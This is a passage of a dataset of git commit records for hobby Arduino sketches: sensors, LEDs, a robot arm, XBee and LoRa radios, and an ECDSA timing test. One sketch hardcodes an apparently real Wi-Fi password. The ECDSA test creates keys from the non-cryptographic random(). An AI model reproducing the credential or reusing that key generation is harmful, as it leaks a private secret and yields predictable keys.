addr, String AppSKey, String NwkSKey);\n join_result = myLora.initABP(\"XXXXXXXX\", \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\", \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\");\n\n while(!join_result)\n {\n Serial.println(\"Unable to join. Are your keys correct, and do you have TTN coverage?\");\n delay(60000); \/\/delay a minute before retry\n join_result = myLora.init();\n }\n Serial.println(\"Successfully joined TTN\");\n okSeq();\n\n}\nvoid okSeq () {\n led_on();\n delay(100);\n led_off();\n delay(100);\n led_on();\n delay(100);\n led_off();\n delay(100);\n led_on();\n delay(100);\n led_off();\n}\n\nvoid wakeUP_RN2483() {\n Serial1.end();\n pinMode(PIN_SERIAL1_TX, OUTPUT);\n digitalWrite(PIN_SERIAL1_TX, LOW);\n delay(5);\n digitalWrite(PIN_SERIAL1_TX, HIGH);\n Serial1.begin(57600);\n Serial1.write(0x55);\n delay(100); \/\/wait for the RN2xx3's startup message\n Serial1.flush();\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop()\n{\n if (count == 0) {\n \/\/wakeUP_RN2483();\n myLora.autobaud();\n int16_t temp_c;\n int16_t humidity;\n int16_t battery;\n led_on();\n\n temp_c = int16_t(sht1x.readTemperatureC()*100);\n humidity = int16_t(sht1x.readHumidity()*100);\n battery = analogRead(batVoltPin)*4.88;\n\n\n txBuffer[0] = byte(temp_c>>8);\n txBuffer[1] = byte(temp_c);\n txBuffer[2] = byte(humidity>>8);\n txBuffer[3] = byte(humidity);\n txBuffer[4] = byte(battery>>8);\n txBuffer[5] = byte(battery);\n txBuffer[6] = 0xFE;\n\n myLora.txBytes(txBuffer, sizeof(txBuffer));\n led_off();\n myLora.sleep(128000);\n delay(100);\n count = 16;\n } else {\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n count --;\n }\n}\n\nvoid led_on()\n{\n digitalWrite(13, 1);\n}\n\nvoid led_off()\n{\n digitalWrite(13, 0);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'things_uno\/weather_uno.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"91e9fadbf679de9af540ccd17c9121ec4c5f3c1b","subject":"Initial commit","message":"Initial commit\n","repos":"PeachyPrinter\/Platform-Lifter,PeachyPrinter\/Platform-Lifter","old_file":"peachyLifter\/peachyLifter.ino","new_file":"peachyLifter\/peachyLifter.ino","new_contents":"#include \"Arduino.h\"\n\nvoid setup()\n{\n\tSerial.begin(115200);\n\tpinMode(12,INPUT_PULLUP); \n interrupts();\n \n\t\t\n}\nISR(TIMER2_OVF_vect){\n int foo = 0;\n}\n\nvoid loop()\n{\n int bar = 0;\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'peachyLifter\/peachyLifter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e85aea9084d828bf5524e146a938e0d052ae126","subject":"Add ECDSA test for Arduino","message":"Add ECDSA test for Arduino","repos":"cgommel\/micro-ecc,phoenix-frozen\/micro-ecc,adfernandes\/micro-ecc,cgommel\/micro-ecc,adfernandes\/micro-ecc,cgommel\/micro-ecc,kmackay\/micro-ecc,carlescufi\/micro-ecc,periloso\/micro-ecc,kmackay\/micro-ecc,adfernandes\/micro-ecc,concise\/micro-ecc,kmackay\/micro-ecc,phoenix-frozen\/micro-ecc,concise\/micro-ecc,carlescufi\/micro-ecc,adfernandes\/micro-ecc,periloso\/micro-ecc,carlescufi\/micro-ecc,kmackay\/micro-ecc,periloso\/micro-ecc","old_file":"test\/ecdsa_test\/ecdsa_test.ino","new_file":"test\/ecdsa_test\/ecdsa_test.ino","new_contents":"#include <uECC.h>\n\n#include <j0g.h>\n#include <js0n.h>\n\n#include <lwm.h>\n\n#include <bitlash.h>\n\n#include <GS.h>\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Scout.h>\n#include <Shell.h>\n\n\n#include <uECC.h>\n\nextern \"C\" {\n\nstatic int RNG(uint8_t *p_dest, unsigned p_size)\n{\n while(p_size) {\n long v = random();\n unsigned l_amount = min(p_size, sizeof(long));\n memcpy(p_dest, &v, l_amount);\n p_size -= l_amount;\n p_dest += l_amount;\n }\n return 1;\n}\n\nvoid px(uint8_t *v, uint8_t num)\n{\n uint8_t i;\n for(i=0; i<num; ++i)\n {\n Serial.print(v[i]); Serial.print(\" \");\n }\n Serial.println();\n}\n\n}\n\nvoid setup() {\n Scout.setup();\n uint8_t l_private[uECC_BYTES];\n \n uint8_t l_public[uECC_BYTES * 2];\n\n uint8_t l_hash[uECC_BYTES];\n uint8_t l_sig[uECC_BYTES*2];\n \n Serial.print(\"Testing ECDSA\\n\");\n \n uECC_set_rng(&RNG);\n \n for(;;) {\n unsigned long a = millis();\n if(!uECC_make_key(l_public, l_private))\n {\n Serial.println(\"uECC_make_key() failed\");\n continue;\n }\n unsigned long b = millis();\n \n Serial.print(\"Made key 1 in \"); Serial.println(b-a);\n memcpy(l_hash, l_public, uECC_BYTES);\n \n a = millis();\n if(!uECC_sign(l_private, l_hash, l_sig))\n {\n Serial.println(\"uECC_sign() failed\\n\");\n continue;\n }\n b = millis();\n Serial.print(\"ECDSA sign in \"); Serial.println(b-a);\n \n a = millis();\n if(!uECC_verify(l_public, l_hash, l_sig))\n {\n Serial.println(\"uECC_verify() failed\\n\");\n continue;\n }\n b = millis();\n Serial.print(\"ECDSA verify in \"); Serial.println(b-a);\n }\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/ecdsa_test\/ecdsa_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"d7f55225e87aabd3ce9018b1f82cd2ad58a96f42","subject":"Add sketch for reading button press","message":"Add sketch for reading button press","repos":"peplin\/electronics-and-programming-class","old_file":"4\/readbutton.ino","new_file":"4\/readbutton.ino","new_contents":"int BUTTON_PIN = 2;\n\nvoid setup() {\n pinMode(BUTTON_PIN, INPUT);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/Serial.println(\"Hello computer!\");\n \/\/Serial.print(\"This line will mash together with the next.\");\n\n int buttonPressed = digitalRead(BUTTON_PIN);\n if(buttonPressed == 1) {\n Serial.println(\"I pressed the button, and the button is:\");\n Serial.println(buttonPressed);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '4\/readbutton.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"108530d305ee2e0a7dca2a2f208f43955f8776f8","subject":"Adding arm control code for the Arduino","message":"Adding arm control code for the Arduino\n","repos":"savoi\/robodraw","old_file":"Arduino\/roboarm\/roboarm.ino","new_file":"Arduino\/roboarm\/roboarm.ino","new_contents":"#include <G15.h> \/\/ include the library\n\n#define LED_BOARD 13\n#define SPEED_SLOW 25\n#define SPEED_MEDIUM 200\n#define SPEED_FAST 500\n\n#define LINK1 105 \/\/ 105 mm\n#define LINK2 75 \/\/ 75 mm\n\n\/\/ Servo angle limits\n#define OFF_THETA1 -270 \/\/ -270 degrees\n#define MIN_THETA1 210 \/\/ 210 degrees\n#define MAX_THETA1 330 \/\/ 330 degrees\n#define OFF_THETA2 -360 \/\/ -360 degrees\n#define MIN_THETA2 -90 \/\/ -90 degrees\n#define MAX_THETA2 90 \/\/ 90 degrees\n\n\/\/ Canvas offsets (X and Y offsets form the origin of our coordinate system)\n#define X_OFFSET 80 \/\/ 80 mm\n#define Y_OFFSET -75 \/\/ -75 mm\n#define X_MIN 80 \/\/ 80 mm\n#define Y_MIN -75 \/\/ -75 mm\n#define X_MAX 160 \/\/ 160 mm\n#define Y_MAX 75 \/\/ 75 mm\n\n\/*Return Error definitions & Mask\n=====Higher 8 bits of Word=========\npacket length error : 0x0100\npacket header error: 0x0200\nID mismatch error: 0x0400\npacket checksum mismatch : 0x0800\n====Lower 8 bits of word==========\nError status return by G15:\nINST\t\t\t0x0040\t\t\nOVERLOAD\t\t0x0020\nCHECKSUM\t\t0x0010\nRANGE\t\t\t0x0008\nOVERHEAT\t\t0x0004\nANGLELIMIT \t 0x0002\nVOLTAGE\t\t 0x0001\n*\/\n\n\n\/\/declaration of variables & object\nword ERROR=0;\nbyte DATA[10]; \nword STATUS;\n\n\/\/declare G15 Class Object\n\/\/servo1 ID=1\nG15 servo1(1);\nG15 servo2(2);\nG15 servo3(3);\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Arduino setup.\n\/\/--------------------------------------------------------------------------------------\nvoid setup()\n{ \n word stat;\n \n Serial.begin(9600);\n \n \/\/initialize the arduino main board's serial\/UART and Control Pins\n G15ShieldInit(19200,3,8); \n \n \/\/call the init function to init the servo objs\n servo1.init();\n servo2.init();\n servo3.init();\n\n stat = servo1.SetTorqueOnOff(OFF,iWRITE_DATA); \/\/turned off servo1's torque immediately. \n if(STATUS != 0)\n {\n Serial.print(\"ERROR TURNING OFF TORQUE\");\n }\n\n \/\/init LED indicator as output\n pinMode(LED_BOARD,OUTPUT); \n digitalWrite(LED_BOARD, LOW); \n \n delay(500); \n digitalWrite(LED_BOARD, HIGH);\n \n arminit();\n penup();\n delay(5000);\n}\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Main loop.\n\/\/--------------------------------------------------------------------------------------\nvoid loop()\n{ \n byte data[4];\n word stat;\n \n STATUS = servo1.SetLED(ON,iWRITE_DATA);\n STATUS = servo2.SetLED(ON,iWRITE_DATA);\n STATUS = servo3.SetLED(ON,iWRITE_DATA);\n \n \/\/ Go to origin\n moveto(0,0);\n \/\/delay(5000);\n \/\/goto(0,40);\n arminit();\n \/\/servo1.SetPosSpeed(ConvertAngle2Pos(240), SPEED_SLOW, iWRITE_DATA);\n \/\/servo1.SetPosSpeed(ConvertAngle2Pos(300), SPEED_SLOW, iWRITE_DATA);\n delay(5000);\n moveto(100,75);\n delay(5000);\n}\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Bring the pen down to paper.\n\/\/--------------------------------------------------------------------------------------\nvoid pendown()\n{\n servo3.SetPosSpeed(ConvertAngle2Pos(75), SPEED_SLOW, iWRITE_DATA);\n delay(1000);\n}\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Bring the pen up from the paper.\n\/\/--------------------------------------------------------------------------------------\nvoid penup()\n{\n servo3.SetPosSpeed(ConvertAngle2Pos(0), SPEED_SLOW, iWRITE_DATA);\n delay(1000);\n}\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Initialize the arm for drawing.\n\/\/--------------------------------------------------------------------------------------\nvoid arminit() {\n word angle;\n word stat,pos=0;\n byte data[4];\n\n stat = servo1.GetPos(data); \/\/get the current position from servo1\n pos = data[0];\n pos|=word(data[1])<<8;\n angle = ConvertPos2Angle(pos);\n Serial.print(\"Servo 1 Angle: \");\n Serial.print(angle);\n Serial.print(\"\\n\");\n \n stat = servo2.GetPos(data); \/\/get the current position from servo2\n pos = data[0];\n pos|=word(data[1])<<8;\n angle = ConvertPos2Angle(pos);\n Serial.print(\"Servo 2 Angle: \");\n Serial.print(angle);\n Serial.print(\"\\n\");\n}\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Given X and Y coordinates, performs inverse kinematics and moves arm to location.\n\/\/ X and Y should be based on a (0,0) origin.\n\/\/--------------------------------------------------------------------------------------\nvoid moveto(float x, float y) {\n \/\/ Adjust X and Y values for offsets\n x = x + X_OFFSET;\n y = y + Y_OFFSET;\n \n \/\/ Threshold X and Y values\n if(x > X_MAX) {\n x = X_MAX;\n }\n if(x < X_MIN) {\n x = X_MIN;\n }\n if(y > Y_MAX) {\n y = Y_MAX;\n }\n if(y < Y_MIN) {\n y = Y_MIN;\n }\n \n float B2 = (x*x) + (y*y);\n float q1 = atan2(y,x);\n float q2 = acos(((LINK1*LINK1)-(LINK2*LINK2)+B2)\/(2*LINK1*sqrt(B2))); \n float theta1 = q1 + q2;\n float theta2 = acos(((LINK1*LINK1)+(LINK2*LINK2)-B2)\/(2*LINK1*LINK2));\n \n theta1 *= 180\/3.14159;\n theta2 *= 180\/3.14159;\n \/\/theta2 -= 180;\n \n movearm(theta1, theta2);\n}\n\n\/\/--------------------------------------------------------------------------------------\n\/\/ Move robot arm based on given angles (keeping within limits)\n\/\/--------------------------------------------------------------------------------------\nvoid movearm(int theta1, int theta2) {\n \/\/ Convert thetas to our orientation\n theta1 = (theta1 + OFF_THETA1) * (-1);\n theta2 = (theta2 + OFF_THETA2) * (-1);\n \n \/\/ Max threshold theta1\n if(theta1 > MAX_THETA1)\n {\n theta1 = MAX_THETA1;\n }\n \/\/ Min threshold theta1\n if(theta1 < MIN_THETA1)\n {\n theta1 = MIN_THETA1;\n }\n \/\/ Max threshold theta2\n if(theta2 > MAX_THETA2)\n {\n theta2 = MAX_THETA2;\n }\n \/\/ Min threshold theta2\n if(theta2 < MIN_THETA2)\n {\n theta2 = MIN_THETA2;\n }\n \n servo1.SetPosSpeed(ConvertAngle2Pos(theta1), SPEED_SLOW, iREG_WRITE);\n servo2.SetPosSpeed(ConvertAngle2Pos(theta2), SPEED_SLOW, iREG_WRITE);\n delay(1000);\n G15::SetAction();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/roboarm\/roboarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"313ae0e787c258699b792ce9c594c0a573b6b14b","subject":"acceleration.ino\u3092\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u542b\u3081\u308b","message":"acceleration.ino\u3092\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u542b\u3081\u308b\n","repos":"youkidearitai\/Arduino_LED_on_Python,youkidearitai\/Arduino_LED_on_Python","old_file":"acceleration.ino","new_file":"acceleration.ino","new_contents":"#define X 2\n#define Y 1\n#define Z 0\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int x = analogRead(X);\n int y = analogRead(Y);\n int z = analogRead(Z);\n\n char xyz_pos[128] = {'\\0'};\n\n snprintf(xyz_pos, 128, \"%03d,%03d,%03d\", x, y, z);\n Serial.println(xyz_pos);\n\n delay(20);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'acceleration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"435db30a0e8eb9c153531fc7c7336be51207244a","subject":"Demo RX64 for tomorrow, very dumb version","message":"Demo RX64 for tomorrow, very dumb version\n","repos":"mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design","old_file":"Arduino\/RX64_Demo\/RX64_Demo.ino","new_file":"Arduino\/RX64_Demo\/RX64_Demo.ino","new_contents":"\/**\n * \\author Michael Bartling bart4128@tamu.edu\n * \\author Rabih Abifaraj rabifaraj@tamu.edu\n * \\date 11\/8\/2013\n * \\version 1.0\n * \n * \\copyright The MIT License (MIT)\n *\/\n\n\n#define BAUD_RATE 9600\n\n\/*Declare serial ports *\/\n\/\/Xbee xbee = Xbee();\nuint16_t length;\nuint8_t lengthSegHigh;\nuint8_t lengthSegLow;\n\n\/\/ We only get one LED to play with\nint statusLed \t = 6;\nint errorLed \t = 6;\nuint8_t api_id;\nuint8_t api_fd[128];\nHardwareSerial Uart = HardwareSerial();\n\nvoid simpleXbeeRead();\n\nvoid setup()\n{\n pinMode(statusLed, OUTPUT);\n pinMode(errorLed, OUTPUT);\n\n Serial.begin(BAUD_RATE);\n Uart.begin(BAUD_RATE);\n \/\/from api_try.ino\n \/\/xbee.setSerial(Uart);\n \/\/xbee.begin(BAUD_RATE)\n Serial.println(\"Starting the Receiver!\");\n}\n\nvoid flashLed(int pin, int times, int wait) {\n\n\tfor (int i = 0; i < times; i++) {\n\t\tdigitalWrite(pin, HIGH);\n\t\tdelay(wait);\n\t\tdigitalWrite(pin, LOW);\n\n\t\tif (i + 1 < times) {\n\t\t\tdelay(wait);\n\t\t}\n\t}\n}\n\n\nvoid loop()\n{\n\t\/\/Do other functions here\n\t\/\/\n\t\n\tsimpleXbeeRead();\n\tflashLed(statusLed, 1, 100);\n\n}\n\n\/**\n * \\brief Simple Arduino Xbee Read function\n * Make sure enough data received on buffer and then when a start frame is received (0x7E) begin forming dummy packet.\n *\n *\n *\/\nvoid simpleXbeeRead()\n{\n\t\/\/Begin Actual read \n\t\/\/if(Uart.available() > 20) \/\/Get at least something in the buffer\n if(Uart.available() >= 21)\n\t{\n\t \/* 7E is the start frame of our packet *\/\n\t\tif(Uart.read()==0x7E)\n\t\t{\n\t\t\tlengthSegHigh = Uart.read();\n\t\t\tlengthSegLow = Uart.read();\n\t\t\t\n\t\t\t\/* The length are the first two bytes we read after the start frame *\/\n\t\t\tlength = ((lengthSegHigh<<8) & 0xff00) | ((lengthSegLow) & 0x00ff);\n\t\t\t\n\t\t\t\/* The api frame id is the next thing we read after the length *\/\n\t\t\tapi_id = Uart.read();\n\t\t\t\n\t\t\t\/*Everything else for the remainder of the length is data *\/\n\t\t\tfor(int i = 0; i < length; i++) \/**\\todo Make sure this doesnt need to start from 1 instead of 0*\/\n\t\t\t{\n\t\t\t api_fd[i] = Uart.read();\n \/\/Serial.print(apiFramePtr->api_fd[i]);\n \/\/Serial.print(\" \");\n\t\t\t}\n\/\/ Serial.print('\\n');\n Serial.print(\"A \");\n for(int i = 4; i < 7; i++) \/**\\todo Make sure this doesnt need to start from 1 instead of 0*\/\n\t\t\t{\n\t\t\t\n Serial.print(api_fd[i]);\n Serial.print(\".\");\n\t\t\t}\n Serial.print(api_fd[7]);\n Serial.print(\" \"); \/\/Last part of IP doesnt need .\n \n Serial.print(\"R \");\n Serial.print(api_fd[8]); \/\/RSSI\n \n Serial.print('\\n');\n\t\t}\n\n\n\n\t}\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/RX64_Demo\/RX64_Demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"77a11e258261c41d5ecea81cfc15ca3224463959","subject":"added aquarium thermo","message":"added aquarium thermo\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/Thermo_simple\/Thermo_simple.ino","new_file":"examples\/Thermo_simple\/Thermo_simple.ino","new_contents":"#include \"MqttConnection.h\"\nMqttConnection * myMqtt;\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n#define SENSOR_ID \"AQUA\"\n#define PROBE_TEMPO 60000 \/\/1 measure per minute\n#define ONE_WIRE_BUS D5 \/\/ DS18B20 pin\n\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature DS18B20(&oneWire);\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n\n\/************************* MQTT *********************************\/\n\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n\nlong lastMsg = 0;\n\nchar msg[2];\n\n\n\nvoid setup() {\n Serial.begin(115200);\n \n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n \n \n}\n\nvoid loop() {\n float temp;\n if (!myMqtt->connected()) {\n\tSerial.println(\"still not connected, retrying\");\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n\n long now = millis(); \n\n if (now - lastMsg > PROBE_TEMPO) {\n lastMsg = now;\n \n \/\/Read data and store it to variables hum and temp\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0);\n Serial.print(\"Temperature: \");\n Serial.println(temp);\n \n if (temp == 85.0 || temp == (-127.0) ) {\n Serial.println(\"Failed to read from sensor!\");\n }\n else\n {\n \/\/send to MQTT server\n myMqtt->publishValue(\"temp\", temp, 1); \n \n }\n }\n\n\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Thermo_simple\/Thermo_simple.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"15cf84f6bb550d4577b59c682a366718b35c967d","subject":"Create marquee_v3.ino","message":"Create marquee_v3.ino","repos":"marmilicious\/FastLED_examples","old_file":"marquee_v3.ino","new_file":"marquee_v3.ino","new_contents":"\/\/***************************************************************\n\/\/ Marquee fun (v3)\n\/\/ Pixel position down the strip comes from this formula:\n\/\/ pos = spacing * (i-1) + spacing\n\/\/ i starts at 0 and is incremented by +1 up to NUM_LEDS\/spacing.\n\/\/\n\/\/ Marc Miller, May 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 8\n\nuint16_t holdTime = 700; \/\/ Milliseconds to hold position before advancing.\nuint8_t spacing = 4; \/\/ Sets pixel spacing. [Use 2 or greater]\nint8_t delta = 1; \/\/ Sets forward or backwards direction amount. (Can be negative.)\nuint8_t width = 2; \/\/ Can increase the number of pixels (width) of the chase. [1 or greater]\n\nboolean fadingTail = 0; \/\/ Add fading tail? [1=true, 0=falue]\nuint8_t fadeRate = 150; \/\/ How fast to fade out tail. [0-255]\n\nuint8_t hue = 60; \/\/ Starting color.\nuint8_t hue2_shift = 50; \/\/ Hue shift for secondary color. Use 0 for no shift. [0-255]\nboolean DEBUG = 0; \/\/ Print some info to serial monitor. [1=true, 0=falue]\n\nint16_t pos; \/\/ Pixel position.\nint8_t advance; \/\/ Stores the advance amount.\nuint8_t color; \/\/ Stores a hue color.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n \/\/Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n EVERY_N_SECONDS(40){ \/\/ Demo: Change direction every N seconds.\n delta = -1*delta;\n }\n\n \/\/EVERY_N_SECONDS(10){ \/\/ Demo: Changing the pixel spacing every N seconds.\n \/\/ spacing = spacing + 1;\n \/\/ if (spacing == 9) { spacing = 2; } \/\/ Reset spacing to 2\n \/\/ if (spacing >4) { spacing = 8; } \/\/ Jump spacing up to 8\n \/\/}\n\n EVERY_N_SECONDS(10){ \/\/ Demo: Change the hue every N seconds.\n hue = hue + random8(30,61); \/\/ Shift the hue to something new.\n }\n\n\n EVERY_N_MILLISECONDS(holdTime){ \/\/ Advance pixels to next position.\n if (DEBUG==1) { \/\/ Print out some info if DEBUG is true.\n Serial.print(\"delta: \"); Serial.print(delta);\n Serial.print(\" spacing: \"); Serial.print(spacing); Serial.print(\" \");\n }\n for (uint8_t i=0; i<(NUM_LEDS\/spacing); i++){\n for (uint8_t w = 0; w<width; w++){\n pos = (spacing * (i-1) + spacing + advance + w) % NUM_LEDS;\n if ( w % 2== 0 ){ \/\/ Is w even or odd?\n color = hue;\n } else {\n color = hue + hue2_shift;\n }\n \n leds[pos] = CHSV(color,255,255);\n }\n \n if (DEBUG==1) { \/\/ Print out lit pixels if DEBUG is true.\n Serial.print(\" \"); Serial.print(pos);\n }\n }\n if (DEBUG==1) { Serial.println(\" \"); }\n FastLED.show();\n \n \/\/ Fade out tail or set back to black for next loop around.\n if (fadingTail == 1) {\n fadeToBlackBy(leds, NUM_LEDS,fadeRate);\n } else {\n for (uint8_t i=0; i<(NUM_LEDS\/spacing); i++){\n for (uint8_t w = 0; w<width; w++){\n pos = (spacing * (i-1) + spacing + advance + w) % NUM_LEDS;\n leds[pos] = CRGB::Black;\n }\n }\n }\n \n \/\/ Advance pixel postion down strip, and rollover if needed.\n advance = (advance + delta + NUM_LEDS) % NUM_LEDS;\n }\n\n}\/\/end_main_loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'marquee_v3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e1cbbebbbc22dfd7091a49e6bc18049e3846c65e","subject":"Add ATtiny85 example","message":"Add ATtiny85 example\n","repos":"ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_USB_Serial\/ATtiny85\/ATtiny85.ino","new_file":"examples\/Boards_USB_Serial\/ATtiny85\/ATtiny85.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use Software Serial\n * to connect your project to Blynk.\n * Be sure to check ordinary Serial example first!!!\n *\n * +-\\\/-+\n * A0|6 (D 5) PB5 1| |8 Vcc\n * A3|9 (D 3) PB3 2| |7 PB2 (D 2) A1|7\n * A2|8 (D 4) PB4 3| |6 PB1 (D 1) pwm1\n * GND 4| |5 PB0 (D 0) pwm0\n * +----+\n *\n **************************************************************\/\n#include <SoftwareSerial.h>\nSoftwareSerial DebugSerial(1,2); \/\/ RX, TX\nSoftwareSerial SwSerial(3,4);\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT DebugSerial \/\/ Comment this out to disable prints and save space\n#include <BlynkSimpleStream.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/#include <SoftwareServo.h>\n\/\/SoftwareServo servo1;\n\nvoid setup()\n{\n \/\/ Debug console\n DebugSerial.begin(9600);\n \n \/\/ Blynk will work through SoftwareSerial\n SwSerial.begin(9600);\n Blynk.begin(auth, SwSerial);\n\n \/\/ Sometimes you need to calibrate your ATtiny timer\n \/\/OSCCAL = 175;\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_USB_Serial\/ATtiny85\/ATtiny85.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"99a3910d011a006c3ee696a232e68493a86b6916","subject":"Introduced scoping errors","message":"Introduced scoping errors\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9267b9ae9cb647a719bd902011b05524a488ea95","subject":"Add Arduino reference sketch.","message":"Add Arduino reference sketch.\n","repos":"Blinkinlabs\/BlinkyTape,Blinkinlabs\/BlinkyTape,Blinkinlabs\/BlinkyTape","old_file":"blink_strip\/blink_strip.ino","new_file":"blink_strip\/blink_strip.ino","new_contents":"static int LED_COUNT = 32;\n\nvoid setup()\n{\n DDRB = 0xFF;\n DDRD = 0xFF;\n}\n\nvoid send_single_byte(uint8_t c)\n{\n \/\/ D5 is clock, D4 is data\n for(uint8_t i = 0; i < 8; i++) {\n PORTD = (((c >> (7 - i)) & 0x01) << 4);\n PORTD = (((c >> (7 - i)) & 0x01) << 4) | 0x20;\n }\n}\n\nvoid send_pixel(uint8_t red, uint8_t green, uint8_t blue) {\n send_single_byte(0x80 | red);\n send_single_byte(0x80 | green);\n send_single_byte(0x80 | blue);\n}\n\nint j = 0;\nint f = 0;\nint k = 0;\n\n\nvoid loop()\n{\n for(uint8_t i = 0; i < 10; i++) {\n send_pixel(0,0,0);\n }\n \n float brightness = random(100,100)\/100.0;\n \n for (uint8_t i = 0; i < LED_COUNT; i++) {\n uint8_t red = 64*(1+sin(i\/2.0 + j\/4.0 ))*brightness;\n uint8_t green = 64*(1+sin(i\/1.0 + f\/9.0 + 2.1))*brightness;\n uint8_t blue = 64*(1+sin(i\/3.0 + k\/14.0 + 4.2))*brightness;\n \n send_pixel(red, green, blue);\n }\n \n\n \n send_single_byte(0x00);\n \n j = j + random(1,2);\n f = f + random(1,2);\n k = k + random(1,2);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink_strip\/blink_strip.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"296a06bcd57a296e3d803024117b23438a9eb1f5","subject":"testing SFX","message":"testing SFX\n","repos":"TEAMarg\/ATMlib","old_file":"ArduboyBasedTracker\/ArduboyBasedTracker.ino","new_file":"ArduboyBasedTracker\/ArduboyBasedTracker.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ATMlib.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} 